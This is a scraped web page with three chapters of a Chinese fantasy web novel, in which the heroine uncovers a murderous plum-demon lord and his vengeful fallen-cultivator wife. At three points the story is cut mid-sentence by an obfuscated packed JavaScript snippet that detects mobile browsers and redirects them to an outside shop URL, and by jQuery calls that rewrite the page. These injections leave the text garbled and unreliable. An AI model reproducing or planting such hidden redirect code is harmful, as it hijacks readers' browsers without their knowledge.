梅旭满眼溺爱地看着杏桃,“杏桃一般不喜见人,今日破例来用餐,难免有些紧张。” 这早膳吃到一半,气氛稍微松弛了些,瑶光冷不丁地问道:“听闻昨日起,念春便不见了,庄主你可有知晓?” 话音刚落,汤勺不小心与碗碰撞,发出清脆的声响,在这厅堂中回荡。些许白粥被洒出,梅旭急忙放下筷子,拿过杏桃的手,轻轻地擦拭着沾染的米粒,“怎么这么不小心?” 杏桃低垂着头,没有说话,顺从地任由梅旭替她擦。 梅旭将手帕递给小停,转头朝瑶光直言道:“念春昨日午后便向我请辞,如此迫不及待地想要离开,怕是家中出事罢。他说了你们知道的,不是吗?” 瑶光眸中闪过不易察觉的黯然,他竟真的如此不愿见到我们,马上启程离开也不愿再见一面? “当时已近落日,念春若有急事,梅庄主难道一点都不担心,任由他独自归去?”她的语气带着一丝探究。 梅旭不以为然地反问道:“若他有急事,我又何以阻拦?” 季昀之接过瑶光的话茬,补充道:“不加以阻拦也可通知我们,而不是留我们在此,却任由他自己离开。” “念春可说,他的事与你们无关,我只是尊重他罢了。”梅旭淡淡地解释道,语气中听不出任何波澜。 “够了!”本在一旁静静吃粥的杏桃尖声大叫,她放下还未吃到一半的粥,站起身,左顾右盼道:“我吃够了,先出去走走,散散心。” “我陪你。”梅旭连忙起身跟上,欲搂过杏桃,却被她轻轻地推开。她小声道:“你先用膳罢。我去去就回。” 这时,瑶光自告奋勇:“让瑶光陪你罢,女子之间多话可聊,散心也没那么无趣。” 杏桃怔了怔神,踌躇了一会儿,回道:“好。” 37. 漫山飘雪梅如故(四) 烛光摇晃,晃出一瘦长鬼影。伴随着细细碎碎的声音,似是有人在啃食着什么。梅旭缓步走进,手中托着帕巾和一盆清水。他走到那鬼影面前,将水盘放至一旁的桌上,帕巾沾湿再拧干,握在手中,站在一旁安静地等待。 许久,那鬼影似乎吃饱了,将剩下的玉簪甩落在地。梅旭见状,蹲下身,用手中帕巾轻轻拭去鬼影脸上及身上的血迹,柔声问道:“娘子,可好些了?” 杏桃的面容已从干瘪枯槁恢复如初,如今肌肤吹弹可破,圆润的脸庞,血气十足。她呆呆地望着屋内的一角,仿佛昔日的自己站在那里,眼中满是失望地看着她。她喃喃自语道:“我怎么会变成如此这副模样?” 梅旭指尖轻轻拂过她的脸颊,安慰道:“无论你变成什么样子,我都会爱你。” “可是,阿旭!我受不了了!”她痛苦地捂住自己的脸,不愿现在如此“丑陋“的自己被人看见,“我无法忍受这样的自己!” 梅旭紧紧将她拥入怀中,扳过她的脸,目光坚定地说道:“娘子,这不是你的错。都是你师姐害的!” 杏桃挣扎着:“师姐......师姐为什么要害我......我的心好痛......” 脑海里无数血腥的场面在她脑海中不断闪过,令她感到心如刀割扎,痛不欲生。泪水不断顺着脸颊流淌而下,却一一被梅旭温柔地吻去。 “没关系的,杀了她,你就会好起来了。等了几百年了,你不就正是在等这一刻吗?”梅旭的嗓音低沉而富有磁性,像是深海中蛊惑人心的妖兽:“相信我,我永远都不会伤害你。” 她颤抖着回抱梅旭,此刻唯有他温热的身躯能给予她些许慰藉,或者正如他所说,只有他不会伤害自己,永远地爱着自己。 帐中燃香,交颈缠绵过后,梅旭已然沉沉入睡,而杏桃却如灵魂出窍般眼神呆滞地凝望着床顶。她轻声下榻,却不慎踩空,跌倒在地。双手似乎触碰到一片湿润,她顾不得多想,披起一旁的狐裘,便迎着风霜出门。 “师姐......师姐......” 她口中呢喃着,如游魂一般摇摇晃晃,顺着气味来到那人屋前,却不敢上前,只是站在院中远远地观望。她怕自己控制不住自己,伤到她。 直到那个熟悉的身影出现在视线中,她心中难以自控地升起一团火,一团恨不得马上上去将她充满背叛的灵魂燃尽的火。 “杏桃?” 那人朝她喊的那一声,仿佛将她的身体甚至灵魂被撕成两半。一半在说,她是你最爱的师姐,不要伤害她!一半在说,杀了她,是她背叛了蓬莱观,让你成为千古罪人! 曾经辉煌的蓬莱观尸横遍野,魔族占据上风,黑压压的浮在上空,将白日染成黑夜。燕双双高傲的身姿如破布般无情地被魔兽碾过,一向沉默寡言的徐莫言满脸泪痕地趴在地上,抱住她了无声息的尸体,朝杏桃吼道:“杏桃!!!” 她下意识转过身,绝口否认:“不是……不是我......不是杏桃……” 不是杏桃......不是我害死的大家......不是我害死的双双师姐和莫言师哥......不是我......是师姐叫我开的阵......是师姐......可为什么是师姐!!!! “夫人?” 杏桃回过神来,眼前一片雪白,点缀着点点殷红,还有一旁目光温柔的瑶光。她眸中闪过一丝慌乱,但很快恢复平静,淡淡答道:“无事。” 瑶光察觉到她的神情,连忙扶至一旁坐下,关切地问:“小停曾说夫人你不喜见人,瑶光陪你散步,可有不适?” 杏桃摇了摇头,低垂着眼眸,声音轻柔得几乎听不见:“只是有些旧疾,走两步有些累罢了。” 瑶光每每见到面前这庄主夫人,便感到尤其熟悉,兴许是因为梦中俏丽可爱、唯对师姐好的杏桃,她对这庄主夫人颇有好感,甚至怜爱。她担忧地问道:“夫人之疾,可严重?” 杏桃缓缓回道:“我的病是从娘胎便有的,如今也习惯了。倒是阿旭年少时被冻着了,容易犯头痛症。” 瑶光面露不解:“这曾被冻着,又为何愿住在这冰天雪地的结界中?” “阿旭知我喜梅,为了这满地的血梅,才特意请人设的结界。” “梅庄主为了夫人,也是用心良苦。” 若如庄主夫人所说,为她所造这梅花庄,又怎会有腐肉味?怕是梅庄主对自己夫人也有所隐瞒。瑶光压下心中的疑虑,继而又探道:“庄主夫人如此了解,看来庄主夫人与梅庄主应当已经认识颇久。” “自然相识已久,我陪着阿旭一起长大的,他的事我几乎都知晓。” 瑶光问:“夫人你可了解这府上之事?” “自从嫁给阿旭后,我便整日在房中养病,鲜少出门,更别说是否了解府内动向了。”杏桃作出一副病怏怏的模样,我见犹怜,看似并无不妥。 既然这庄主夫人不知晓府内的事,那吴念春至少与她曾有接触罢。瑶光问道:“那吴念春呢?你可识得?” “不大记得了。”杏桃说着,抬起头望向瑶光道:“但昨日我饮药休息时,确实有在门外听到他的声音,但是太远了,听不清。倒是听到他说什么,要告辞无需通告他们。” 或是因有梦中人的影子,瑶光看着杏桃眼中纯真,自是相信了。她心中忐忑,念春兄弟,竟真是已自己离开。 “方才听闻姑娘你曾入梦?”杏桃捯饬着手中的衣纱,若无其事地问。 瑶光点头道:“确有此事。” “那梦中人与我长相相仿,在一蓬莱仙观修仙?” “正是,应该说长相与杏桃姑娘几乎一致。”瑶光想了想这鼻对着鼻,痣对着痣,长得一模一样的两人,若不是她从未亲眼见过所有曾在梦中出现的人,她几乎相信她们是同一个人。 “那便巧了。”杏桃一不小心将衣纱戳出一个小洞,她笑道:“小时,阿爹便常与我说我与祖辈奶奶长得极像,曾被认为是祖辈奶奶投胎转世,可乐着阿爹了,之后也给我改了名,唤杏桃。” 见有头绪,瑶光追问道:“那你阿爹可有跟你说过你祖辈奶奶的事?” “隐约有些记得......” 杏桃微微皱眉,似乎又触及了旧伤。她轻轻地倚在瑶光身上,轻声说道:“祖辈奶奶自小无父无母,在蓬莱观附近的小镇长大,靠着给人带路去蓬莱观赚些小钱维持生计。人人都想修仙,祖辈奶奶也不例外,可惜她年年参加招募,却也年年因自己的出身被劝退。” “为何会因出身而被劝退?”瑶光不解地问道。 “在蓬莱观,他们要求参与招募者需父母双全,家底小康。” 瑶光讶异:“怎会有如此无理的要求?” “只因修仙需心无杂念,唯有命中无瑕疵者,才不会为事执着,被世俗诱惑,全心修道。” “这简直荒谬!只要人心中向善,便可修仙。有如此一道陈规,实乃愚昧之举!”兴许是察觉到自己反应过激了,她转而问道:“那你祖辈奶奶之后又如何能被选上?” “自然是遇到了贵人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而梅旭眼中只有杏桃,他蹲在她面前,旁若无人地将她稍凉的双手握起,藏于怀中,柔声问道:“怎么一去散步这般久未回来,受了寒风可就不好了。” “有姑娘陪着,还好。”杏桃出乎意料地对梅旭态度温和,俩人你侬我侬的模样,倒也有些夫妻恩爱之感,比起他们早膳时的相处,已是天壤之别。 瑶光识趣地缓缓站起身,恰到好处地退开一步,向梅旭请道:“山中寒风刺骨,咱们几人惧寒,可否请梅庄主再留咱们几日?” “当然可以。”杏桃代梅旭答道,笑意盈盈:“我这有祖辈奶奶的画像,姑娘若有兴趣,待我明日将画像找出,邀姑娘前来我屋里观赏可好?也许这画儿到时能解你入梦之惑。” “那可太好了,瑶光谢过庄主夫人。”瑶光朝梅旭和杏桃瑶光微微鞠了一躬,便随在不远处观望的司幕一行人离开。几人有说有笑,亲密无间。 杏桃目送着他们渐行渐远的背影,脑海中不断浮现出与瑶光模样一致的师姐。回忆起当初她与自己也是如此亲密,思绪翻涌,她紧紧握拳,指骨泛白,眼眶湿润,眼尾逐渐晕染出红色。她冷冷地问道:“阿旭,你爱我的对吗?” 梅旭毫不犹豫:“是!” “那便助我拿下她。”杏桃从梅旭怀中抽出早已回温的双手,轻抚梅旭冰凉的俊脸,眼神闪烁着炽热。她说:“不管她是不是师姐,她都必须要成为我掌中之物。” 梅旭接过她的手,轻轻吻了吻她的掌心,嘴角勾起一抹诡异的笑意:“助娘子完成心愿,夫君我乐意至极。” 38. 漫山飘雪梅如故(五) 清晨过后,梅庄主与梅夫人便杳无踪影,午膳晚膳亦未曾在瑶光等人面前露面。小停被旁敲侧击地问起,也只是轻描淡写地答道:“庄主夫人身子不适,庄主为了照顾夫人,亲自送膳与她在寝屋用餐,不同你们共食罢了。” 其余人听后面面相觑,草草吃完后,皆聚到瑶光屋里,环坐一桌。 寒风瑟瑟,透过窗户缝隙钻入室内,将窗前一支伶仃白烛吹得忽明忽灭。青稚点燃一暖炉,捧在手中,一股暖流渗入心间,不禁感叹:“这梅庄主对他夫人倒真是情深意切,竟为了她请人设下这么一个结界,可冷死我了。” “结界之事是瑶光大人听那梅夫人所说,未必是真。”季伶说着,也默默为身旁努力控制不让自己发抖的季昀之点起一盏暖炉,递了过去,“师傅,请。” 季昀之嗯了一声,将暖炉拥入怀中,舒展出口气,认同道:“这梅夫人来历不明,她的话不可轻信。” 瑶光却持有不同意见,自她与那梅夫人谈话后,心中便如坠深淵,沉重无比。或许是梦境所致,她总觉得自己仿佛曾亲历过那段血雨腥风,目睹过那惨绝人寰的悲剧。而且,她也不愿相信梦中那个天真可爱的师妹会与妖魔为伍,仍旧偏向于杏桃所说为真。 她斟字酌句,缓缓道:“在下并不认同昀之仙君的话,来路不明并非怀疑梅夫人的理由。她所言关于祖辈奶奶的每一字每一句,神态都并无丝毫虚假编造之意。想必她应当也是被梅庄主蒙在鼓里。” “虽不知她祖辈之事,”季昀之抬眸望向她,语气淡淡,“但,瑶光大人,神情是可以捏造的。” 瑶光维护之意溢于言表:“昀之仙君,我见她的真身,确系人族无疑。” “或许是她道行高深,又或是她常年以人为食,身上沾染了人族气息,自然无法分辨出她的真身。”季昀之又道:“你也无法看出梅庄主真身,不是吗?” 瑶光沉默不语。 青稚陷入两难之境,一边是自家师傅,可他又赞同另一边仙君的话,故转头看向司幕,问道:“司幕神医,您怎么看?” 司幕端坐一旁,眼睫轻垂,不置可否地淡淡一笑,随即望向瑶光求问道:“瑶光姑娘,关于她祖辈又是如何一个故事?你可还未曾与我们讲过。” “此事乃他人私事,不便提及,还是就此打住吧。”瑶光微微抿唇,烛光下长长的睫毛在她眼中投下阴影。 青稚不解地望着瑶光,不明白为何她如此躲避谈论这件事,追问道:“师傅,都已经到了这种地步,有什么事要瞒着我们吗?” 瑶光取过茶壶将茶水倒入杯中,匆匆饮下,一股透心凉迅速压下她心中的躁动。她轻轻地摇了摇头:“阿稚,这是梅夫人祖辈过去的私事,与梅花庄无关。” 青稚欲言又止,却被司幕按住肩膀,他侧头看去,司幕的眼尾微微下垂,如同寒池中初开的墨。 “青稚,你师傅不愿说便不说。”司幕深深地看了瑶光一眼,“今日,梅旭愿将我们留下,必定有动作,还是先做准备罢。” 季伶疑惑:“这才当夜,以后仍有机会,为何这梅庄主如此迫不及待?” 司幕起身往外走,一阵寒风从外袭来,顺道留下一句:“因为,是其他人要沉不住气了。” 青稚和季伶不知所措,只能看向季昀之,而季昀之叹了口气,道:“司幕说的有理,大家先回去歇息,准备准备罢。” 随即,他们陆续离开瑶光屋里,只剩她一人独坐。她扶额自语:“为什么,我会做那样的梦?为什么杏桃说的话我会觉得如此熟悉?” 摇曳的烛火在墙上投下的影子,仿佛在嘲笑着瑶光内心的迷茫和不安。 月色如水,清冷地倾泻而下,却不及白衣仙子清冷的身影。季昀之并未走远,而是站在瑶光院中的梅花树下,默默地注视着她的房间,眉宇间笼罩着一层淡淡的忧愁。他轻叹道:“自从姽婳姑娘去世后,她就有些不妥了。” “不,是自青夫人死后,她已经是这样了。”他轻声叹息,声音被夜风吹得支离破碎。 有声音从树上传来,是司幕。 季昀之抬头望去,却看不清司幕的身影。只听他继续说:“她虽失去记忆,人懵懂了些,但心里还是如以往一般重感情。” “青稚母亲之死,姽婳姑娘之死,即使只是见过一两面的人,她也能为她喜,为她怒,为她哭,她果然还是从前的那个她。”他想起在三生城郊外,夜幕星河下借酒消愁的瑶光,心中一阵柔软,不由自主地笑了。可惜被层层叠叠的梅花遮挡,季昀之无法看到他脸上宠溺的神情。 季昀之无奈道:“她真是越活越不像个上神了。” “当上神又有什么好呢?”司幕语气中带着一丝嘲讽,“冷血又无情,持着正义的名字冷眼看着生灵涂炭,伪善,恶心。” 季昀之沉声道:“你的话,我无法苟同。现在的她因为记忆缺失,思绪混乱,情绪只会让她做出错误的判断。” 司幕摇了摇头道:“她会没事的。” “就怕她一直陷在其中,伤到了自己。” 季昀之的担忧声越行越远,最终只留下叹息的余音。 梅花庄的另一处,小停服侍完晚膳后,不知是否因为昨日被放血过多,整日昏昏沉沉,早早便歇息了。半梦半醒间,他被身旁的吵闹声吵醒,心中烦躁,不耐烦地吼道:“怎么了?!还让不让人睡了!” 那人也是跟他一起在这梅花庄里呆久了,了得他的脾气,也没有再催他,只是轻声道:“下山路被大雪埋了,庄主叫我们去庄外去挖雪,不然明日雪越堆越多,过几日客人们便无法下山了。” “怎么不早说是庄主吩咐的!” 小停一听是庄主的话,顿时没了睡意,像是饮了鸡血一般亢奋,立刻翻身而起。他胡乱地将袄套上,转身过来时,仆役院子里已空无一人,只好独自前往的他边走边嘟囔道:“不就是挖个雪嘛,何苦如此大阵仗?院儿里人都走了。” 转头一想,他又双眼发亮,肯定道:”不过既然是庄主吩咐的,那肯定有庄主的道理!” 风声呼啸,如鬼哭狼嚎般在山间中回响,阴森诡谲。突然,不远处传来疑似凄厉的惨叫声,以及树枝撕扯的声音,令人毛骨悚然。 而那处正是下山的路。 年幼的小停本就是害怕鬼怪的年纪,独自走在山间,慌得不行,连忙加快脚步与大部队回合,可越走近那异响便越大。他轻手轻脚地靠近声音来源,探头望去,下一刻,他浑身剧烈地颤抖,小脸煞白,满眼惊恐之色,仿佛置身于一场噩梦之中。他亲眼看见他山庄里的同伴们一个接一个地被梅枝残忍地撕碎成无数块,血肉模糊地散落在地上,而那中心站着的正是他最敬仰的恩人,梅花庄庄主,梅旭。 鲜血溅上他病态般苍白的脸,宛若雪地上刚落下的一朵朵梅花,诡异艳丽。 其中尚未断气的几人中有一人看到躲在暗处的他,伸出残缺的手臂,哑声喊道:“小停!救我!”小停看着眼前惊悚血腥的一幕,胃里一顿痉挛欲呕。那人正是方才叫醒他的人,如今却面目全非,四肢不全,惨不忍睹。 因为那人的呼救,梅旭似是有所察觉,冷冷地朝他望去。他的眼神如同一潭死水,毫无波澜,却散发着令人不寒而栗的杀气。小停心一凉,转身就跑,身后紧追不舍的树枝摩擦声让他一下都不敢停歇。 “救命啊!救命啊!”他惊恐的呼喊声划破夜空,惊醒了庄里歇息的瑶光等人。 一根梅枝突然从他身前扫过,他止不住身形,不慎被绊倒在地,狠狠地摔向瑶光他们的院落。还未等他起身,无数梅枝如雨点般袭来,欲将他刺穿。就在这千钧一发之际,几道寒光闪过,梅枝如断线风筝般纷纷坠落。小停仿佛重获新生,感激涕零地往身后看去,却只见一人屹立在梅树之上,从容不迫。 “怎么了?!” 瑶光从屋内快步走出,率先看到跌倒在地、惊恐不已的小停,连忙上前扶起。小停却仿佛被吓傻了一般,双眼空洞,只是呆呆地望着某处。瑶光顺着他的目光望去,只见司幕正从半空飞身而下,他将小停一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162247|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把捞过,推给一旁刚赶来的青稚。 青稚与季伶他们刚到,唯有司幕一直在场,瑶光只好朝他问道:“司幕公子,这怎么回事?” 司幕神色冷峻,有些许不悦地瞟向地上零碎的梅枝,冷声道:“方才他朝我们跑来,身后尽是梅枝追杀他。” “这有梅花妖!”青稚惊讶地瞪大了眼睛,接着又满腹疑惑道:“但这梅花妖从何而来?难道是这众多梅花树中的一棵?” 季伶沉思片刻,道:“那梅花妖恐怕就是梅庄主。” 比起像愣头青一般的青稚相比,季昀之对自家徒弟的见解相当满意。他秀眉微蹙道:“这山庄果然有问题,何人会以血养梅,以腐肉养茶,简直胡闹。怕是他自己需要进补,而非血梅。” 听到“庄主”和“血”这两词,小停像是被某种恐惧唤醒,突然开始疯狂地挣扎起来,双眸浑浊,口中胡言乱语:“血......好多血......好多尸体.......林子里好多尸体......庄主杀人了.......他要杀我!他要杀我!”说着,小停紧紧地攥住青稚的衣领,猛说:“救我!救我!” “你先放开!先放开!”青稚被他攥得几乎喘不过气,欲想把他手拉开道:“冷静一下!我们有神灵有仙君在此,你不用怕!” 季伶迅速上前,一掌将他双手捆住,安抚道:“你先冷静,我们可以帮你。” “看来是小停看到那梅庄主杀人的场景,梅庄主要杀他灭口了。”看着小停渐渐冷静下来,瑶光神情凝重地问道:“可还有人活着?” 小停愣怔了许久,脑海中浮现出那片血海中还有人挣扎着喊着他求救的画面,终于颤抖着说道:“有!还有人在那活着!大人!你们快去救他们!” 听到有人仍需营救,瑶光立即道:“好,事不宜迟,你带路,我们随你救人。”说着,她又作出一副虚弱的模样,朝季昀之道:“昀之仙君,我灵力因之前天罚受损还未恢复,你能否带他一起走在前面?” “可以。”季昀之点头应下,一手提起小停,一手提起青稚飞身而去,毫不迟疑:“季伶跟上。” “是,师傅。”季伶紧随其后,转身一同飞离。但等了许久,他都没等到瑶光及司幕跟上,故忙靠近季昀之告知他:“师傅,瑶光大人与司幕公子仍未跟上。” “救人要紧,我们抓紧罢!”季昀之神情坦然,像是早有预料般对此并不惊讶,继续埋头赶路,“有司幕在,瑶光应当无事。” “啊!仙人!我们要掉啦!” 听到小停的尖叫,季昀之像是这才反应过来一样,哑声道:“季伶,你来带他们。”说罢便与季伶交换了位置。 不知是他们在追逐着风还是风在追逐着他们,他们迅疾而坚决地飞向山下的道路,而脚下的积雪厚实而静谧,给人一种安详的感觉。小停在空中张开眼睛,不禁感叹:“刚才我跑过的时候,明明没有这么多积雪,难道从空中看景色与地上不同?” 季昀之对小停的疑问没有在意,他问:“是不是快到了?” “对!就在前面!”看着不远处的血红一片,季昀之神色凝重,如此多血在雪地上流淌,又是严冬,怕已有十余人遇害。 然而,随着他们靠近,季昀之的心情却越发不安。他轻身落下,将青稚与小停护在身后,看着血泊中端坐的那人,道:“梅庄主,如此多血怕是又能养出许多血梅罢。” 血泊中,梅旭身上虽沾满了血迹,头发却未见凌乱,不减平日半点光华。他整个人散发着凌厉和治艳,即使见到来者不善,面上依旧波澜不惊。 季昀之看着眼前一脸平静、像是在等着他们到来的梅旭,心中一沉,惊呼:“不好!有陷阱!” 梅旭漫不经心地笑道:“晚了,你们来了就不可能再离开,我决不会让你们打扰娘子的兴致。” 他话音刚落,瞬间脚下开始震动并发出响亮的崩塌声。季昀之他们猛地往身后看去,白茫茫的雪块如海浪般朝他们涌来,其速度之快,覆盖之广,让他们几乎无处可逃! 39. 漫山飘雪梅如故(六) 朔风凛冽,如利刃般撕裂无尽的夜幕,穿过瑟瑟发抖的窗棂,穿过战栗的树叶,如幽魂般飘荡。 季昀之他们早已远去,留下瑶光与司幕伫立原地。司幕神情轻松,悠然自得,似与这肃杀的夜色格格不入,反倒是瑶光心急如焚地望着他。 须臾,她终是沉不住气,开口问道:“司幕公子,他们都要走远了,你还不快跟上?” 司幕闻言,嘴角勾起:“瑶光姑娘可真会紧跟在我身后?” 瑶光的脸颊腾地一下烧了起来,她强装镇定道:“自然。” “好,我便信你一回。”司幕轻飘飘地说罢,慢慢别过头,一跃而起,犹如飞鸟,朝季昀之他们离开的方向追赶,消失在茫茫夜色。 目送司幕逐渐消失的身影,瑶光心中涌起一丝心虚,口中低喃:“司幕公子,我很快便来追赶你们。”转身朝相反的方向奔去。 梅花庄中的红梅经过寒风的肆虐,已飘落一地。凭着第一日的回忆,她轻车熟路地来到梅庄主与梅夫人住处。她停在屋前,用力敲了敲门,焦急地喊道:“梅夫人!梅夫人!” “是谁?” 屋内传来女子温柔动人的声音。 瑶光忙道:“是我!瑶光,今日晨早陪你散步的姑娘!” 门吱呀一声开了,露出杏桃病怏怏的脸庞。猝不及防间,屋外的雪气呛得她剧烈咳嗽起来,她柔弱地以袖掩唇,眼中带着一丝疑惑:“姑娘怎么了?可是有急事?看画的话,如今天色已晚,我明日……” “梅夫人,你快随我走!”还未等她说完,瑶光便急忙牵起她的手,欲想将她拉走。 杏桃却微微蹙眉,扶着门框,努力稳住身形,将手抽回,怯怯地说:“为何?我夫君尚在此处,纵使你我再有缘分,我也不能就这样随你离开。” “梅庄主乃梅花妖,他杀人被小停撞见,正追杀他而去。夫人一介弱女子,万万不可再留在此危险之地。”瑶光劝说着杏桃离开,然而杏桃的眼神却充满了抗拒。 “不可能……夫君怎会是妖?我与他自小相识更是同床共枕多年,又怎会......姑娘定是弄错了。” “是人是妖,我们日后便知,夫人若信得过瑶光,便请随瑶光先走。”瑶光清澈的眸子里盛满了坚定,真诚的语气更是令人不由自主地信赖她 杏桃怔怔地看着她,终于松口:“好吧,容我稍作准备。”她后退一步,纤手指向屋内,又道:“但我答应给姑娘看的画卷可是我家的传家之宝,于我而言意义非凡,还请姑娘帮忙到那墙角处将它取下。” 墙角? 怎会有人将传家之宝如此随意地放置在墙角? 瑶光疑惑不解,看着杏桃满含恳求的目光,还是往墙角处走去。然而,当瑶光目光触及画中之人时,她整个人仿佛被定格,无法移开视线。 画中女子侧坐在凉亭,一手扶栏托腮,一手持书置于膝,素净的浅青衣袍松松垮垮地挂在她身上,相当随意。 画中女子她容颜如花,长发随意披散,嘴角微扬,黛眉轻挑,双眸含情脉脉。神韵被刻画得惟妙惟肖,可见作画之人的用心。 如此女子,看似出尘脱俗,却又带着丝丝人间烟火气息。若除去那烟火气,那画中人简直与瑶光无异。 “那位师姐......怎么会......怎么会......”她喃喃自语,双手一松,画卷滑落在地。 她慌忙弯身拾起画卷,却无意间瞥见花盆后方闪烁着金色的光芒,一股凉意瞬间袭遍全身。 “怎么会与姑娘你长相一致?”她身后传来一声冰冷的笑,寒意直入骨髓,“瑶光姑娘,可曾听闻,半真半假的谎言是最恶毒的谎言?” 瑶光缓缓起身,玉簪在手心紧握,触手生寒,她颤声问道:“什么意思?” “比如吴念春并非走了,而是被我拿来补身了。”杏桃的声音越来越近,语气中带着难以掩饰的狂妄,“比如我也并没有什么祖辈奶奶,更别说父母。” “比如......杏桃便是我,我便是李杏桃!” “为什么骗我?” 瑶光的声音几不可闻,像风中残烛般摇曳不定。 “只因你与她太过相似!”杏桃眼中的怯弱和柔软瞬间消失殆尽,取而代之的是刻骨的仇恨。她指向自己的额间,咬牙切齿道:“我当年是活下来,但是,是以如今一副丑陋的模样活下来的!” 她额间骤然浮现一道血色印记,形似梵文。瑶光转头望去,呼吸一窒,惊道:“这是……魔族印记?!你,曾经可是修仙之人,怎会堕入魔道?” “修仙者?”杏桃笑得花枝乱颤,笑声在屋里回荡。她的声音逐渐尖锐,似要把心底的嘲讽与愤恨全部宣泄出来,“人心向善,便可成仙。人心向恶,便可成魔。我本为恶,自然为魔。” 话音刚落,她额间魔印犹如鲜血般艳丽,周身气势陡然攀升,一掌劈碎书柜,取出柜中长剑。长剑出鞘,直指瑶光咽喉。 瑶光定睛一看,诧异道:“是镇魂剑!” 她一眼便认出了这把剑,与她手中的诛恶剑几乎一模一样,只是颜色不同。诛恶剑剑身通黑却有银辉闪烁,而眼前这把镇魂剑则是剑若霜雪,周身银辉流转。 “一剑诛恶,一剑镇魂,黑为诛恶,银为镇魂,”她急问,“你怎会有这把镇魂剑?” 杏桃冷笑一声,长剑在她手中化作一道银光,迅捷如电,游走翻飞,如灵蛇般纠缠着瑶光。她的佩剑诛恶剑早已被毁,赤手空拳之下,只能单手阻挡。届时,她的右手则一直藏在身后。 “是她给我的,”杏桃冷笑道,“没想到我会用这把剑杀掉与她相似的人,真是讽刺。”说着,她又朝瑶光冲去,剑势更猛,招招致命。 一道银光划破眼前,瑶光猝不及防,险些被击中。她翻身躲避,一脚踹翻木桌阻挡,却见木桌应声劈开,强大的剑气甚至将它化为齑粉。 “若是她现在看到我如此娴熟地挥舞这把剑,想必会大吃一惊吧。”杏桃得意地笑道,下一秒,她又像失了控一般摇头道:“不!她一定会和燕双双一起嘲笑我,说我不过是依仗魔族的力量才变得强大,不配修仙。你说是不是?是不是!” 她双目血红,近乎癫狂。 镇魂剑剑锋直指瑶光,瑶光迎着杏桃凌厉的目光,沉声说道:“我不是她们,我不知道。” “像,你真像她!”杏桃凌空而起,手中长剑划破长空,发出尖锐的呼啸,似要将眼前的女子撕碎。她怒斥道:“像她一样令人憎恶!” 瑶光再度侧身躲避,身形轻盈如燕。还未等杏桃光反应过来,瑶光右手一挥,一道金光便在她眼前炸裂,如狂风暴雨般席卷而来。杏桃本能地抬手抵挡,却抵挡不住这股强大的力量,被击飞撞向墙面。 杏桃如折叶般被狂风卷起,狠狠撞击在墙上,鲜血喷涌而出。巨大的冲击力震碎了墙体,屋檐瓦片如雨落下,碎石散落。整个房间顿时陷入一片狼藉之中。 趁着屋内尘土飞扬,寸步难见之机,杏桃强忍剧痛,将手中长剑用劲甩出。银光疾风朝瑶光而去,如离弦之箭,势不可挡。 待瑶光看清时,剑已近在咫尺,她险些翻身躲过,怎料她手微松,画卷与此同时却在空中散开。散开的画卷正对着长剑飞驰的方向,若不及时阻止,那画卷定如那木桌一般毁掉。 突然,一黑影闪现,身形一掠挡在瑶光身前,落于地面,衣袂翻飞,沾染了丝丝寒意。一滴血从地上凝聚出,猛地击向长剑,强使它换了方向,掠过瑶光衣摆。 瑶光看清了那人的面容,惊讶之余,唤道:“司幕公子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174161|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司幕侧目看着瑶光手上完好的画卷,松了一口气,道:“瑶光姑娘,被人骗有第一次,终究不会有第二次。这个道理,我懂。” 他瞥了眼遍体鳞伤的杏桃,嘴角勾起一抹淡笑:“不过你这次,倒也未让我失望。” 突如其来的疼痛让杏桃呼吸凝滞,可她却又桀桀地笑了出声,笑声尖锐刺耳,沙哑的声音如同地狱恶鬼,在人间炼狱里四处游荡。 “司幕……?” 杏桃艰难地唤出这个名字,泪水模糊了视线,脑海中浮现出那个人。 那个人曾对她说:“杏桃,我想好了,阿迟没有家,不如入赘我司家,从此便有家了。” “师姐……入赘是什么意思?” “入赘便是,以后你师姐夫要随我姓了。” “姓司……?” “嗯,姓司名幕,司幕……好听吗?”即使时隔数百年,那人幸福的笑脸还是那么的刺眼。 “原来是你!你就是司幕!” 杏桃仰天狂笑,笑声中满是讽刺与悲凉,“可笑,真是可笑。我还一直疑惑,不为权势不为利益的她,怎会背叛蓬莱观。原来如此!原来如此!” 杏桃的内心此时彻底被黑暗吞噬,再也听不见,唯有一腔恨意在燃烧,拼命抵抗着四周传来的凉意。她的笑声戛然而止,转而是一声声对瑶光撕心裂肺的哭喊:“师姐,你好糊涂啊!” 瑶光被杏桃的喊声激得心颤,口中依然坚持道:“梅夫人,我说过,我并非你的师姐。” 杏桃嗤道:“有他在,你又怎么会不是呢?” “此事与司幕公子无关,我自幼便在不周山修炼,数百年来从未踏出过不周山。梅夫人,害你之人,不可能是我!” “司瑶!” 